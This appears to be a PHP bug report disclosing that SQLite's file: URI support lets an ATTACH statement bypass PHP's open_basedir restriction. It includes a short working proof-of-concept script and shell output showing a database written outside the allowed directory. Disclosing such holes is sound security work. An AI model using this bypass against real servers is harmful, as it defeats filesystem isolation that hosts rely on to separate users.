Description:
------------
Sqlite supports the file: URI handler as part of the DSN string. https://sqlite.org/uri.html

This feature can be abused to bypass the open_basedir restriction configured for PHP.


Test script:
---------------
<?php
file_put_contents("/safe/test.txt", "shall work");
file_put_contents("/unsafe/test.txt", "shall be a warning due to openbasedir");


$db = new SQLite3("/safe/main.db", 0x00000002|0x00000004|0x00000040); // 0x40 is SQLITE_OPEN_URI

chdir("/safe"); // the current working dir must be one of the open basedirs
$db->exec("ATTACH 'file:/unsafe/poc.db' AS sdb;");
$db->exec("CREATE TABLE sdb.t (t TEXT)");
$db->exec("INSERT INTO sdb.t (t) VALUES ('foobar')");
$db->close();


Expected result:
----------------
root@fd7f809a8411:/# /build/php-7.3.5/sapi/cli/php -d open_basedir=/safe /repo-shared/sqlite/sqlite-attach.php

Warning: file_put_contents(): open_basedir restriction in effect. File(/unsafe/test.txt) is not within the allowed path(s): (/safe) in /repo-shared/sqlite/sqlite-attach.php on line 3

Warning: file_put_contents(/unsafe/test.txt): failed to open stream: Operation not permitted in /repo-shared/sqlite/sqlite-attach.php on line 3

Warning: SQLite3::exec(): not authorized in /repo-shared/sqlite/sqlite-attach.php on line 9

Warning: SQLite3::exec(): unknown database sdb in /repo-shared/sqlite/sqlite-attach.php on line 10

Warning: SQLite3::exec(): no such table: sdb.t in /repo-shared/sqlite/sqlite-attach.php on line 11

root@fd7f809a8411:/safe# ls -la /unsafe/
total 16
drwxr-xr-x  2 root root 4096 May  4 09:53 .
drwxr-xr-x 71 root root 4096 May  4 09:46 ..


Actual result:
--------------
root@fd7f809a8411:/# /build/php-7.3.5/sapi/cli/php -d open_basedir=/safe /repo-shared/sqlite/sqlite-attach.php

Warning: file_put_contents(): open_basedir restriction in effect. File(/unsafe/test.txt) is not within the allowed path(s): (/safe) in /repo-shared/sqlite/sqlite-attach.php on line 3

Warning: file_put_contents(/unsafe/test.txt): failed to open stream: Operation not permitted in /repo-shared/sqlite/sqlite-attach.php on line 3

root@fd7f809a8411:/safe# ls -la /unsafe/
total 16
drwxr-xr-x  2 root root 4096 May  4 09:53 .
drwxr-xr-x 71 root root 4096 May  4 09:46 ..
-rw-r--r--  1 root root 8192 May  4 09:53 poc.db